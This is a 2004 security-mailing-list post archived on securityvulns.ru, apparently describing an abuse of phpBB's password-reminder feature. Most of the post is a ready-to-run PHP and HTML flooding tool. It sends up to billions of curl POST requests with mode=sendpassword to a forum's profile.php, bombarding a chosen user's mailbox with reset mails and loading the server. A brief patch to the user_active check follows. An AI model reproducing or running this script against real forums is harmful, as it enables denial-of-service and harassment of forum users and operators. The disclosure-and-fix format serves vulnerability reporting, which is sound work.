Computer Security
[EN] securityvulns.ru
no-pyccku



Related information

  CGI bugs

  Mambo Portal lasted version 4.5.1 (1.09) and lower vesion : SQL    injection Vulnerability.

  ADVISORY: security hole (http response splitting) in snitz forums    2000

  ADVISORY: http response splitting in snipsnap

  [XSS]/SQL Injection PHP-Nuke Edit/Save Message(s) Bug

From:Jon Koffe <jon_(at)_uobags.ru>
Date:19.09.2004
Subject:exploit in PHPBB 2010

explode:

<form action="" method="post">
URL до форума:<input type="text" name="url" size="50"
value="http://www.phpbbexample.ru/forum/"><br>
Колличество запросов:<select name="select" size="1">
<option value="10">10</option>
<option value="100">100</option>
<option value="200">200</option>
<option value="500">500</option>
<option value="800">800</option>
<option value="1000">1000</option>
<option value="10000">10 000</option>
<option value="100000">100 000</option>
<option value="200000">200 000</option>
<option value="500000">500 000</option>
<option value="1000000000">1 000 000 000</option>
<option value="2000000000">2 000 000 000</option>
<option value="10000000000">10 000 000 000</option>
</select><br>
Логин пользователя:<input type="text" name="username" size="25" value="Olsen"><br>
Почтовый ящик пользователя:<input type="text" name="mail" size="25"
value="admin@phpbbexample.ru"><br>
<button type="submit">Флудить</button>
</form>
<?php
if ((isset($_POST[select])) && (isset($_POST[url])) && (isset($_POST[username])) &&
(isset($_POST[mail]))) {
$post = "mode=sendpassword&username=$_POST[username]&email=$_POST[mail]&submit=Отправить"
;
$url = "$_POST[url]/profile.php";
for ($i=0;$i<$_POST[select];$i++) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, 4);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_exec($ch) or die("<font color='red'>Введенные вами данные неверны</font>");
print("Профлужено: $i<br>");
}
}

?>

Fix:
1. Open $_SERVER['DOCUMENT_ROOT']/includes/usercp_sendpassd
2. find
if ( !$row['user_active'] )
3. replace
if ( "$row[user_active]" == "0" )


--
Best regards,
Jon                          mailto:jon@uobags.ru

About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
Nizhny Novgorod

 
 



Rating@Mail.ru